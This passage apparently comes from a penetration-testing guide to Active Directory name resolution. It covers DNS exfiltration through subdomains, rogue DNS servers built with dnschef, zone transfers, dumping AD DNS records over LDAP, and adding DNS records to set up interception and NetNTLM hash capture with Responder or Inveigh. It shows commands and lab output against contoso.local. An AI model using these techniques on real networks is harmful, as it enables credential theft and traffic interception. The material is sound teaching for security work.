'---'\n<\/pre><figcaption>\nRecursive DNS query<br \/>\n<\/figcaption><\/figure>\n<p>For example, in case of possesing a DNS server for the domain <code>fake.com<\/code>, all<br \/>\nthe DNS queries for <code>fake.com<\/code> and its subdomains will reach our server. For<br \/>\nexample, if we want to exfiltrate the name of the isolated server, we can use it<br \/>\nas subdomain and querying <code>websvr01.fake.com<\/code>. This query should pass through<br \/>\nthe local DNS server and reach our DNS server in the internet. To take advantage<br \/>\nof this type of technique we can use a tool like <a href=\"https:\/\/github.com\/yarrick\/iodine\">iodine<\/a> or <a href=\"https:\/\/github.com\/iagox86\/dnscat2\">dnscat2<\/a>.<\/p>\n<h4 id=\"fake-dns-server\">\nFake DNS server<\/h4>\n<p>Moreover, since DNS is so important to manage the resources of a network, it<br \/>\ncould be very useful to setup a fake DNS server, by using techniques like a<br \/>\nrogue DHCP server]].<\/p>\n<p>With a fake DNS server we could redirect the requests of clients to a machines<br \/>\nof our control in order to recolect NetNTLM hashes or just sniffing the network<br \/>\nwaiting for sensitive information that travels unprotected. We can use tools<br \/>\nlike <a href=\"irc:https:\/\/github.com\/iphelix\/dnschef\">dnschef<\/a> or <a href=\"https:\/\/github.com\/lgandx\/Responder\">responder.py<\/a> to create a fake DNS server.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"bash\">$ dnschef -i 192.168.100.44 --fakeip 192.168.100.44\n          _                _          __  \n         | | version 0.4  | |        \/ _| \n       __| |_ __  ___  ___| |__   ___| |_ \n      \/ _` | '_ \/ __|\/ __| '_  \/ _   _|\n     | (_| | | | __  (__| | | |  __\/ |  \n      __,_|_| |_|___\/___|_| |_|___|_|  \n                   iphelix@thesprawl.org  \n(12:29:51) [*] DNSChef started on interface: 192.168.100.44\n(12:29:51) [*] Using the following nameservers: 8.8.8.8\n(12:29:51) [*] Cooking all A replies to point to 192.168.100.44\n(12:38:32) [*] 192.168.100.7: proxying the response of type 'PTR' for 44.100.168.192.in-addr.arpa\n(12:38:32) [*] 192.168.100.7: cooking the response of type 'A' for aaa.contoso.local to 192.168.100.44\n(12:38:32) [*] 192.168.100.7: proxying the response of type 'AAAA' for aaa.contoso.local<\/code><\/pre><figcaption>\nFake DNS server with dnschef<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"dns-zone-transfer\">\nDNS Zone Transfer<\/h4>\n<p>Other interesting thing related with the zones management are the zone<br \/>\ntransfers. Zone transfers are used to replicate all the records of a DNS server<br \/>\ninto another DNS server, thus allow to keep updated both servers. However, in<br \/>\nsome cases a DNS server is misconfigured and allows to anyone to perform zone<br \/>\ntransfers.<\/p>\n<p>In case of Active Directory, DNS zone transfers are not required to replicate<br \/>\nDNS records between DCs (which are usually the DNS servers). However, they can be<br \/>\nenabled in order to allow other DNS servers to replicate the DNS information.<\/p>\n<p>The zone transfers can be configured by zone and DC, which means that maybe just<br \/>\none DC allows to perform the zone transfer whereas the rest of DCs refuse the<br \/>\nzone transfer. In case of a misconfigured DC, anyone could perform zone<br \/>\ntransfers, thus recolecting all the DNS information without require any<br \/>\ncredentials. The followings commands can be used to carry out a DNS zone<br \/>\ntransfer:<\/p>\n<ul>\n<li>Linux: <code>dig axfr &lt;DNSDomainName&gt; @&lt;DCAddress&gt;<\/code><\/li>\n<li>Windows: interactive <code>nslookup<\/code> <code>ls -d &lt;DNSDomainName&gt;<\/code><\/li>\n<\/ul>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">root@debian10:~# dig axfr contoso.local @dc01.contoso.local\n; &lt;&lt;&gt;&gt; DiG 9.11.5-P4-5.1+deb10u2-Debian &lt;&lt;&gt;&gt; axfr contoso.local @dc01.contoso.local\n;; global options: +cmd\ncontoso.local.\t\t3600\tIN\tSOA\tdc01.contoso.local. hostmaster.contoso.local. 156 900 600 86400 3600\ncontoso.local.\t\t600\tIN\tA\t192.168.100.3\ncontoso.local.\t\t600\tIN\tA\t192.168.100.2\ncontoso.local.\t\t3600\tIN\tNS\tdc01.contoso.local.\ncontoso.local.\t\t3600\tIN\tNS\tdc02.contoso.local.\n_gc._tcp.Default-First-Site-Name._sites.contoso.local. 600 IN SRV 0 100 3268 dc02.contoso.local.\n_gc._tcp.Default-First-Site-Name._sites.contoso.local. 600 IN SRV 0 100 3268 dc01.contoso.local.\n_kerberos._tcp.Default-First-Site-Name._sites.contoso.local. 600 IN SRV\t0 100 88 dc02.contoso.local.\n......................stripped output..................<\/code><\/pre><figcaption>\nZone transfer from DC with dig<br \/>\n<\/figcaption><\/figure>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">PS C:&gt; nslookup\nDefault Server:  UnKnown\nAddress:  192.168.100.2\n&gt; server dc01.contoso.local\nDefault Server:  dc01.contoso.local\nAddresses:  192.168.100.2\n&gt; ls -d contoso.local\n[UnKnown]\n contoso.local.                 SOA    dc01.contoso.local hostmaster.contoso.local. (159 900 600 86400 3600)\n contoso.local.                 A      192.168.100.3\n contoso.local.                 A      192.168.100.2\n contoso.local.                 NS     dc02.contoso.local\n contoso.local.                 NS     dc01.contoso.local\n _gc._tcp.Default-First-Site-Name._sites SRV    priority=0, weight=100, port=3268, dc02.contoso.local\n _gc._tcp.Default-First-Site-Name._sites SRV    priority=0, weight=100, port=3268, dc01.contoso.local\n _kerberos._tcp.Default-First-Site-Name._sites SRV    priority=0, weight=100, port=88, dc02.contoso.local\n......................stripped output..................<\/code><\/pre><figcaption>\nZone transfer from DC with nslookup<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"dump-dns-records\">\nDump DNS records<\/h4>\n<p>Furthermore, even if zone transfers are not allowed, due to DNS records are<br \/>\nstored in the Active Directory database, they can be read by using LDAP. Thus,<br \/>\nany domain user can use the LDAP protocol to dump all the DNS records. For this<br \/>\npurpose, the <a href=\"https:\/\/github.com\/dirkjanm\/adidnsdump\">adidnsdump<\/a> tool can be used (saves the results in <code>records.csv<\/code>) or<br \/>\nthe <a href=\"https:\/\/github.com\/mmessano\/PowerShell\/blob\/master\/dns-dump.ps1\">dns-dump.ps1<\/a> script.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">root@debian10:~# adidnsdump -u contoso\\mahyar contoso.local\nPassword: \n[-] Connecting to host...\n[-] Binding to host\n[+] Bind OK\n[-] Querying zone for records\n[+] Found 37 records\nroot@debian10:~# head records.csv \ntype,name,value\nA,WS02-7,192.168.100.7\nA,ws01-10,192.168.100.6\nA,WIN-LBB9AO5FA13,192.168.100.6\nA,win-4l1775e9t3u,192.168.100.2\nA,ForestDnsZones,192.168.100.3\nA,ForestDnsZones,192.168.122.254\nA,ForestDnsZones,192.168.100.2\nA,ForestDnsZones,192.168.122.111\nA,DomainDnsZones,192.168.100.3<\/code><\/pre><figcaption>\nDumping DNS with adidnsdump<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"adidns\">\nADIDNS<\/h4>\n<p>Therefore, DNS is a pretty useful protocol, and of course, is used in<br \/>\nActive Directory. The Active Directory implementation is ADIDNS (Active<br \/>\nDirectory Integrated DNS), where the role of DNS servers is mainly assumed by<br \/>\nthe DCs (Domain Controllers), since their databases contains the DNS names of<br \/>\nthe computers in the domain and the rest of DNS records. In Active Directory,<br \/>\nthe DNS is the preferred method to resolve names. The order of preference of<br \/>\nresolving protocols is:<\/p>\n<ol>\n<li>DNS<\/li>\n<li>mDNS<\/li>\n<li>LLMNR<\/li>\n<li>NBNS<\/li>\n<\/ol>\n<p>ADIDNS works similar to any other DNS implementations, but includes some special<br \/>\ncharacteristics.<\/p>\n<p>The main difference with other implementations is that DNS records are<br \/>\nmaintained in the Active Directory database, instead of using a text file. In<br \/>\nthis way DNS records are integrated like any other object, and take the<br \/>\nadvantage of Active Directory Domain Services such as automatic replication<br \/>\nwithout requiring DNS zone transfers.<\/p>\n<p>There DNS records can be stored in one of the following locations in the<br \/>\ndatabase:<\/p>\n<ul>\n<li>DomainDnsZones partition: This partition is replicated in the DCs of the<br \/>\ndomain. Records can be accessed through LDAP in the route<br \/>\n<code>CN=MicrosoftDNS,DC=DomainDnsZones,DC=&lt;domainpart&gt;,DC=&lt;domainpart&gt;<\/code>.<\/li>\n<li>ForestDnsZones partition: This partition is replicated in all the DCs in the<br \/>\nforest. Records can be accessed through LDAP in the route<br \/>\n<code>CN=MicrosoftDNS,DC=DomainDnsZones,DC=&lt;domainpart&gt;,DC=&lt;domainpart&gt;<\/code>.<\/li>\n<li>Domain partition: In legacy systems, the DNS records where stored in this<br \/>\npartition that it is replicated in the DCs of the domain. Records can be<br \/>\naccessed through LDAP in the route<br \/>\n<code>CN=MicrosoftDNS,CN=System,DC=&lt;domainpart&gt;,DC=&lt;domainpart&gt;<\/code>.<\/li>\n<\/ul>\n<p>For example, to access the DomainDnsZones partition through LDAP in<br \/>\n<code>contoso.local<\/code>, the route would be<br \/>\n<code>CN=MicrosoftDNS,DC=DomainDnsZones,DC=contoso,DC=local<\/code>.<\/p>\n<p>As one of the special characteristics, apart from the usual DNS records, ADIDNS<br \/>\nmaintains <a href=\"https:\/\/petri.com\/active_directory_srv_records\">special SRV records<\/a> that allows to find certain resources in the<br \/>\nnetwork. This allows us to identify the DCs by querying to one of the following<br \/>\nSRV records:<\/p>\n<ul>\n<li><code>_gc._tcp.&lt;DNSSDomainName&gt;<\/code><\/li>\n<li><code>_kerberos._tcp.&lt;DNSSDomainName&gt;<\/code><\/li>\n<li><code>_kerberos._udp.&lt;DNSSDomainName&gt;<\/code><\/li>\n<li><code>_kpasswd._tcp.&lt;DNSSDomainName&gt;<\/code><\/li>\n<li><code>_kpasswd._udp.&lt;DNSSDomainName&gt;<\/code><\/li>\n<li><code>_ldap._tcp.&lt;DNSSDomainName&gt;<\/code><\/li>\n<li><code>_ldap._tcp.dc._msdcs.&lt;DNSDomainName&gt;<\/code><\/li>\n<\/ul>\n<p>These records points to servers that provides Global Catalog (_gc), Kerberos<br \/>\n(_kerberos and _kpasswd) and LDAP (_ldap) services in Active Directory, which<br \/>\nare the Domain Controllers.<\/p>\n<p>For example, you can get the DCs of <code>contoso.local<\/code> from Windows with<br \/>\n<code>nslookup -q=srv _ldap._tcp.dc._msdcs.contoso.local<\/code> and from Linux with<br \/>\n<code>dig SRV _ldap._tcp.dc.contoso.local<\/code>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">PS C:&gt; nslookup -q=srv _ldap._tcp.contoso.local\nServer:  ip6-localhost\nAddress:  ::1\n_ldap._tcp.contoso.local        SRV service location:\n          priority       = 0\n          weight         = 100\n          port           = 389\n          svr hostname   = dc01.contoso.local\n_ldap._tcp.contoso.local        SRV service location:\n          priority       = 0\n          weight         = 100\n          port           = 389\n          svr hostname   = dc02.contoso.local\ndc01.contoso.local      internet address = 192.168.100.2\ndc02.contoso.local      internet address = 192.168.100.6<\/code><\/pre><figcaption>\nDNS query to identify DCs with nslookup<br \/>\n<\/figcaption><\/figure>\n<p>It is also posible to get the IPs of DCs by resolving the domain name<br \/>\n<code>&lt;DNSDomainName&gt;<\/code>. Additionally, the primary DC can be discovered by querying to<br \/>\n<code>_ldap._tcp.pdc._msdcs.&lt;DNSDomainName&gt;<\/code>.<\/p>\n<h4 id=\"dns-dynamic-updates\">\nDNS dynamic updates<\/h4>\n<p>Other interesting mechanism in DNS are the <a href=\"https:\/\/www.ietf.org\/rfc\/rfc2136.txt\">dynamic updates<\/a>. Dynamic updates<br \/>\nallows clients to create\/modify\/delete DNS records. In Active Directory by<br \/>\ndefault only secured dynamic updates are allowed. This means that DNS records<br \/>\nare protected by <a href=\"#acls\">ACLs<\/a> and only authorized users can modify then.<\/p>\n<p>By default any user can create a new DNS record (the user becomes its<br \/>\nowner) and only the owner can update or delete the DNS record. Therefore,<br \/>\naccess is denied if an user wants to create a DNS record that already exists.<br \/>\nTo create new DNS records through DNS dynamic updates the script<br \/>\n<a href=\"https:\/\/github.com\/Kevin-Robertson\/Powermad#invoke-dnsupdate\">Invoke-DNSUpdate<\/a>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Invoke-DNSUpdate -DNSType A -DNSName test -DNSData 192.168.100.100 -Verbose\nVERBOSE: [+] Domain Controller = dc01.contoso.local\nVERBOSE: [+] Domain = contoso.local\nVERBOSE: [+] Kerberos Realm = contoso.local\nVERBOSE: [+] DNS Zone = contoso.local\nVERBOSE: [+] TKEY name 676-ms-7.1-0967.05293487-9821-11e7-4051-000c296694e0\nVERBOSE: [+] Kerberos preauthentication successful\nVERBOSE: [+] Kerberos TKEY query successful\n[+] DNS update successful\nPS C:&gt; nslookup test\nServer:  UnKnown\nAddress:  192.168.100.2\nName:    test.contoso.local\nAddress:  192.168.100.100<\/code><\/pre><figcaption>\nDNS update with Invoke-DNSUpdate<br \/>\n<\/figcaption><\/figure>\n<p>If you are wondering how DNS can allow authenticated requests, this is achieved by<br \/>\nusing the <a href=\"https:\/\/www.ietf.org\/rfc\/rfc2845.txt\">TSIG<\/a> (Transaction Signature) protocol, which requires the messages to<br \/>\nbe signed with a shared key between server and the client. In the case of<br \/>\nActive Directory, this shared key is obtained by using the <a href=\"#kerberos\">Kerberos<\/a> protocol.<\/p>\n<p>Back to the dynamic updates functionality, one interesting record to register is<br \/>\nthe wildcard record, <code>*<\/code>. The wildcard record is used to specify a default IP<br \/>\naddress that is used to resolve those queries that doesn&#8217;t match any other<br \/>\nrecord. Pretty useful to <a href=\"https:\/\/blog.netspi.com\/exploiting-adidns\/\">perform PitM attacks<\/a> if it is used to point to a<br \/>\ncomputer controlled by us. However, dynamic updates doesn&#8217;t allow to register a<br \/>\nwildcard record due to errors in the character handling.<\/p>\n<p>Fortunately, since DNS records are stored in the Active Directory database,<br \/>\nthey can be created\/modify\/deleted by using LDAP. We can play with DNS records<br \/>\nvia LDAP with <a href=\"https:\/\/github.com\/Kevin-Robertson\/Powermad\">Powermad<\/a> and <a href=\"https:\/\/github.com\/dirkjanm\/krbrelayx#dnstoolpy\">dnstool.py<\/a>. This technique can also be employed to<br \/>\nrecolect NetNTLM hashes with <a href=\"https:\/\/github.com\/Kevin-Robertson\/Inveigh\">Inveigh<\/a>. However, it is important to remember to<br \/>\ndelete the registered DNS records when finished in order to avoid causing<br \/>\nnetwork problems.<\/p>\n<p>However, there are certain <a href=\"https:\/\/www.netspi.com\/blog\/technical\/network-penetration-testing\/adidns-revisited\/\">DNS names that are protected<\/a> by the DNS Global Query<br \/>\nBlock List (GQBL) from being resolved even if you add a DNS record. By default<br \/>\nthose are <code>wpad<\/code> and <code>isatap<\/code>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:&gt; Get-DnsServerGlobalQueryBlockList\nEnable : True\nList   : {wpad, isatap}<\/code><\/pre><figcaption>\nGet DNS Global Query Block List<br \/>\n<\/figcaption><\/figure>\n<p>For more information about dynamic updates and the related attacks, you can<br \/>\ncheck the following resources:<\/p>\n<ul>\n<li><a href=\"https:\/\/blog.netspi.com\/exploiting-adidns\/\">Beyond LLMNR\/NBNS Spoofing &#8211; Exploiting Active Directory-Integrated DNS<\/a><\/li>\n<li><a href=\"https:\/\/blog.netspi.com\/adidns-revisited\/\">ADIDNS Revisited &#8211; WPAD, GQBL, and More<\/a><\/li>\n<\/ul>\n<h3 id=\"netbios\">\nNetBIOS<\/h3>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/NetBIOS\">NetBIOS<\/a> (Network Basic Input\/Output System) is an OSI Session Layer 5<br \/>\nProtocol (and it is not related with the computer BIOS). It was developed in<br \/>\n1983 to allow applications in the same LAN (Local Area Network) to communicate<br \/>\nbetween them. NetBIOS became very popular and used by many different<br \/>\napplications, however, it was not able to communicate them on different<br \/>\nnetworks. Therefore, in 1987, the <a href=\"https:\/\/en.wikipedia.org\/wiki\/NetBIOS_over_TCP\/IP\">NBT<\/a> (NetBIOS over TCP\/IP) protocol was created<br \/>\n(<a href=\"https:\/\/tools.ietf.org\/html\/rfc1001\">RFC 1001<\/a> and <a href=\"https:\/\/tools.ietf.org\/html\/rfc1002\">RFC 1002<\/a>) to make NetBIOS work over TCP and UDP protocols and<br \/>\nallow applications that used NetBIOS to communicate over internet.<\/p>\n<p>It is divided in three services, one, the NetBIOS <strong>Name Service<\/strong>, used for<br \/>\nresolving the NetBIOS names, and two services, NetBIOS <strong>Datagram and Session<\/strong>,<br \/>\nfor transporting messages (similar to TCP and UDP).<\/p>\n<figure>\n<pre>                       .-----\n                       |\n     .------.        .---\n     | NBNS |--UDP--&gt;| 137\n     '------'        '---\n                       |   \n    .-------.        .---\n    | NBDGM |--UDP--&gt;| 138\n    '-------'        '---\n                       |\n    .-------.        .---\n    | NBSSN |--TCP--&gt;| 139\n    '-------'        '---\n                       |\n                       '-----\n<\/pre><figcaption>\nNetBIOS ports<br \/>\n<\/figcaption><\/figure>\n<h4 id=\"netbios-datagram-service\">\nNetBIOS Datagram Service<\/h4>\n<p>The NetBIOS Datagram Service or NetBIOS-DGM or NBDGM is similar to UDP. It is<br \/>\nused as transport layer for application protocols that requires a connectionless<br \/>\ncommunication. The server will be listening in the UDP port 138.<\/p>\n<h4 id=\"netbios-session-service\">\nNetBIOS Session Service<\/h4>\n<p>The NetBIOS Session Service or NetBIOS-SSN or NBSSN is similar to TCP. It can be<br \/>\nused as transport for connected-oriented communications. It uses the 139\/TCP<br \/>\nport.<\/p>\n<h4 id=\"netbios-name-service\">\nNetBIOS Name Service<\/h4>\n<p>From a pentest perspective, maybe the most interesting NetBIOS service is<br \/>\nNBNS (NetBIOS Name Service) that listens in the port 137\/UDP. This service<br \/>\nallows to:<\/p>\n<ul>\n<li>Resolve NetBIOS name to an IP address<\/li>\n<li>Known the status of a NetBIOS node<\/li>\n<li>Register\/Release a NetBIOS name<\/li>\n<\/ul>\n<p>The NetBIOS names, in contrast with the DNS names, are not hierarchical, and<br \/>\nonly work in the local network. These names are made up of 16 bytes, where the<br \/>\nfirst 15 bytes are used to store the name, in uppercase letters, and last byte<br \/>\nindicates the type of the resource that has the name, which can be a hostname,<br \/>\ndomain name, a file service, etc. To watch the NetBIOS names of the local<br \/>\nWindows machine, you can use the <code>nbtstat -n<\/code> command.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">C:Usersmahyar&gt;nbtstat -n\nEthernet 2:\nNode IpAddress: [192.168.100.10] Scope Id: []\n                NetBIOS Local Name Table\n       Name               Type         Status\n    ---------------------------------------------\n    WS01-10        &lt;20&gt;  UNIQUE      Registered\n    WS01-10        &lt;00&gt;  UNIQUE      Registered\n    CONTOSO        &lt;00&gt;  GROUP       Registered<\/code><\/pre><figcaption>\nNetBIOS names of local computer<br \/>\n<\/figcaption><\/figure>\n<p>As we can see, several names of different types are shown. In order to identify<br \/>\nthem you can use the following table that contains the most common names, but<br \/>\n<a href=\"https:\/\/web.archive.org\/web\/20031010135027\/http:\/\/www.neohapsis.com:80\/resources\/wins.htm#sec2\">there are many more<\/a>.<\/p>\n<figure>\n<table>\n<thead>\n<tr>\n<th>Number<\/th>\n<th>Type<\/th>\n<th>Usage<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>00<\/td>\n<td>UNIQUE<\/td>\n<td>Hostname<\/td>\n<\/tr>\n<tr>\n<td>00<\/td>\n<td>GROUP<\/td>\n<td>Domain name<\/td>\n<\/tr>\n<tr>\n<td>01<\/td>\n<td>GROUP<\/td>\n<td>Master Browser<\/td>\n<\/tr>\n<tr>\n<td>1D<\/td>\n<td>UNIQUE<\/td>\n<td>Master Browser<\/td>\n<\/tr>\n<tr>\n<td>1E<\/td>\n<td>GROUP<\/td>\n<td>Browser service<\/td>\n<\/tr>\n<tr>\n<td>20<\/td>\n<td>UNIQUE<\/td>\n<td>File server<\/td>\n<\/tr>\n<\/tbody>\n<\/table><figcaption>\nNetBIOS name types<br \/>\n<\/figcaption><\/figure>\n<p>The NBNS protocol was implemented by Microsoft as <a href=\"https:\/\/web.archive.org\/web\/20031010135027\/http:\/\/www.neohapsis.com:80\/resources\/wins.htm#sec4sub4sub4\">WINS<\/a> (Windows Internet Name<br \/>\nService). In a network, each Windows computer has a WINS database that stores<br \/>\nthe available network resources, as well as its netbios and domain (or<br \/>\nworkgroup) name. Moreover, a WINS server can also be setup, that works like a<br \/>\nDNS server with NetBIOS names.<\/p>\n<p>Therefore, in order to resolve a NetBIOS name there are two available<br \/>\nstrategies. The first one is to query to the WINS server to resolve the name. If<br \/>\nthis is not possible, then the query can be sent to the IP broadcast address,<br \/>\nwaiting for the answer from the target computer. A NBNS name resolution is<br \/>\nperformed when a NetBIOS name is used to connect to another machine, for<br \/>\nexample, in a command such as <code>net view \\name<\/code>. In Linux machines is possible<br \/>\nto use the <a href=\"https:\/\/www.samba.org\/samba\/docs\/current\/man-html\/nmblookup.1.html\">nmblookup<\/a> utility to resolve NetBIOS names.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\"># nmblookup ws01-10\n192.168.100.10 ws01-10&lt;00&gt;<\/code><\/pre><figcaption>\nnmblookup resolution<br \/>\n<\/figcaption><\/figure>\n<p>It must be noted that, in case of a broadcast request, any computer can respond<br \/>\nto the query, so it allows to an attacker to impersonate the real computer. This<br \/>\nis one of the tactics followed by <a href=\"https:\/\/github.com\/lgandx\/Responder\">responder.py<\/a> and <a href=\"https:\/\/github.com\/Kevin-Robertson\/Inveigh\">Inveigh<\/a> to collect NTLM<br \/>\nhashes.<\/p>\n<p>Also, it must taked into account that NBNS is not used if any other protocol can<br \/>\nresolve the name request. The order of preference is the following:<\/p>\n<ol>\n<li>DNS<\/li>\n<li>mDNS<\/li>\n<li>LLMNR<\/li>\n<li>NBNS<\/li>\n<\/ol>\n<p>Additionally, in case of knowing the IP of a NetBIOS node, you can ask it about its<br \/>\nservices. In a Windows machine this can be done with the <a href=\"https:\/\/docs.microsoft.com\/es-es\/windows-server\/administration\/windows-commands\/nbtstat\">nbtstat<\/a> command.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">C:Usersmahyar&gt;nbtstat -A 192.168.100.4\nEthernet 2:\nNode IpAddress: [192.168.100.3] Scope Id: []\n           NetBIOS Remote Machine Name Table\n       Name               Type         Status\n    ---------------------------------------------\n    WS02-7         &lt;00&gt;  UNIQUE      Registered\n    CONTOSO        &lt;00&gt;  GROUP       Registered\n    WS02-7         &lt;20&gt;  UNIQUE      Registered\n    CONTOSO        &lt;1E&gt;  GROUP       Registered\n    CONTOSO        &lt;1D&gt;  UNIQUE      Registered\n    \u263a\u263b__MSBROWSE__\u263b&lt;01&gt;  GROUP       Registered\n    MAC Address = 52-54-00-A4-8C-F2<\/code><\/pre><figcaption>\nResolving hostname and services with ntbstat<br \/>\n<\/figcaption><\/figure>\n<p>In the nbstat output you can see the hostname, the domain (or workgroup) name,<br \/>\nand several services of the machine, specified by the type. You can check the<br \/>\nmeaning of type column in <a href=\"https:\/\/web.archive.org\/web\/20031010135027\/http:\/\/www.neohapsis.com:80\/resources\/wins.htm#sec2\">this table<\/a>.<\/p>\n<p>Furthermore, it is possible to use this capability to perform a NetBIOS scan in<br \/>\na network and discover machines and services. This can be accomplished with<br \/>\n<a href=\"http:\/\/www.unixwiz.net\/tools\/nbtscan.html\">nbtscan<\/a> or nmap script <a href=\"https:\/\/nmap.org\/nsedoc\/scripts\/nbstat.html\">nbtstat.nse<\/a>, from both Windows or Linux.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"text\">root@debian10:~# nbtscan 192.168.100.0\/24\n192.168.100.2   CONTOSODC01                    SHARING DC\n192.168.100.7   CONTOSOWS02-7                  SHARING\n*timeout (normal end of scan)<\/code><\/pre><figcaption>\nNetBIOS scan with nbtscan<br \/>\n<\/figcaption><\/figure>\n<blockquote><p>In case you are connected to the network through proxychains, this won&#8217;t<br \/>\nwork since proxychains doesn&#8217;t redirect UDP connections.<\/p><\/blockquote>\n<p>Moreover, NBNS also allows to NetBIOS nodes to register and release their<br \/>\nnames. When a node is connected to the network, it sends a registration message<br \/>\nto the WINS server, or if this not possible, a broadcast message. Also, when the<br \/>\nnode leave the network it should send a message to release the name, what doesn&#8217;t<br \/>\nusually happen.<\/p>\n<p>It should be note that NBNS\/WINS is considered a legacy protocol so its use <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/networking\/technologies\/wins\/wins-top\">is<br \/>\ndiscouraged<\/a>. However, it can be still found working in many Windows networks,<br \/>\nsince it is enabled by default for compatibility reasons.<\/p>\n<h3 id=\"llmnr\">\nLLMNR<\/h3>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Link-Local_Multicast_Name_Resolution\">LLMNR<\/a> (Link-Local Multicast Name Resolution) is a descentralized application<br \/>\nprotocol similar to DNS that allows to resolve hostnames in the same local<br \/>\nnetwork, which means that its packets are not forwarded by routers and are only<br \/>\ntransmited in their network segment. It is included in Windows since Windows<br \/>\nVista, and is the third preferred method to resolve names. The order of<br \/>\npreference is the following:<\/p>\n<ol>\n<li>DNS<\/li>\n<li>mDNS<\/li>\n<li>LLMNR<\/li>\n<li>NBNS<\/li>\n<\/ol>\n<p>In a Windows network, the computers are listening into the port 5355\/UDP and to<br \/>\nresolve a name, the client sends a LLMNR query to the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Multicast_address\">multicast address<\/a> 224.0.0.252<br \/>\n(FF02:0:0:0:0:0:1:3 in IPv6). The queries follow the DNS format and can be use<br \/>\nto ask not only for names, but also any other question supported by DNS.<\/p>\n<figure>\n<pre>            .---\n LLMNR ---&gt; | 5355\/UDP\n            '---\n<\/pre><figcaption>\nLLMNR port<br \/>\n<\/figcaption><\/figure>\n<p>The common case is use LLMNR to resolve names in local link by sending A DNS<br \/>\nqueries. In this case, the computer that has the queried name should<br \/>\nresponse. But, of course, the query can be responded by anyone, even by an attacker<br \/>\nto perform a PitM attack. This is one of the tactics used by <a href=\"https:\/\/github.com\/lgandx\/Responder\">responder.py<\/a><br \/>\nand <a href=\"https:\/\/github.com\/Kevin-Robertson\/Inveigh\">Inveigh<\/a> to recollect NTLM hashes in networks with Windows machines.<\/p>\n<h3 id=\"mdns\">\nmDNS<\/h3>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Multicast_DNS\">mDNS<\/a> (multicast DNS) is a descentralized application protocol, similar to LLMNR,<br \/>\nbased on DNS that allows to resolve names in local networks, which means that<br \/>\nits packets are not forwarded by routers and are only transmited in their<br \/>\nnetwork segment. It is included in Windows 10, and is the second preferred<br \/>\nmethod to resolve names after <a href=\"#dns\">DNS<\/a>.<\/p>\n<ol>\n<li>DNS<\/li>\n<li>mDNS<\/li>\n<li>LLMNR<\/li>\n<li>NBNS<\/li>\n<\/ol>\n<p>In a Windows network, the computers are listening into the port 5353\/UDP and to<br \/>\nresolve a name, the client sends a mDNS query to the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Multicast_address\">multicast address<\/a> 224.0.0.251<br \/>\n(FF02::FB in IPv6). The queries follow the DNS format and can be use<br \/>\nto ask not only for names, but also any other question supported by DNS.<\/p>\n<figure>\n<pre>            .---\n mDNS ---&gt; | 5353\/UDP\n            '---\n<\/pre><figcaption>\nmDNS port<br \/>\n<\/figcaption><\/figure>\n<p>The common case is use mDNS to resolve names in local link by sending A DNS<br \/>\nqueries. In this case, the computer that has the queried name should<br \/>\nresponse by sending the answer to the multicast address 224.0.0.251, this way,<br \/>\nany computer in the network can obtain the answer and cache it. But, of course,<br \/>\nthe query can be responded by anyone, even an attacker to perform a MITM<br \/>\nattack. This is one of the tactics used by <a href=\"https:\/\/github.com\/lgandx\/Responder\">responder.py<\/a> and <a href=\"https:\/\/github.com\/Kevin-Robertson\/Inveigh\">Inveigh<\/a> to recollect<br \/>\nNetNTLM hashes in networks with Windows machines.<\/p>\n<h3 id=\"wpad\">\nWPAD<\/h3>\n<p>The <a href=\"https:\/\/en.wikipedia.org\/wiki\/Web_Proxy_Auto-Discovery_Protocol\">WPAD<\/a> (Web Proxy Auto-Discovery) is a protocol for browsers to get<br \/>\ndynamically a file that indicates the proxies they should use. The file<br \/>\nindicating the proxies is a <a href=\"https:\/\/docs.microsoft.com\/en-us\/internet-explorer\/ie11-ieak\/proxy-auto-config-examples\">PAC<\/a> (Proxy Auto-Config) javascript file that<br \/>\ncontains a <code>FindProxyForURL<\/code> function that is invoked by browsers when they<br \/>\nnavigate to a site.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"javascript\">function FindProxyForURL(url, host) {\n    if (host == \"example.com\") {\n        return \"PROXY proxy:80\";\n    }\n    return \"DIRECT\";\n}<\/code><\/pre><figcaption>\nPAC file example<br \/>\n<\/figcaption><\/figure>\n<p>Even if the WPAD protocol is not used by default, it can be found in 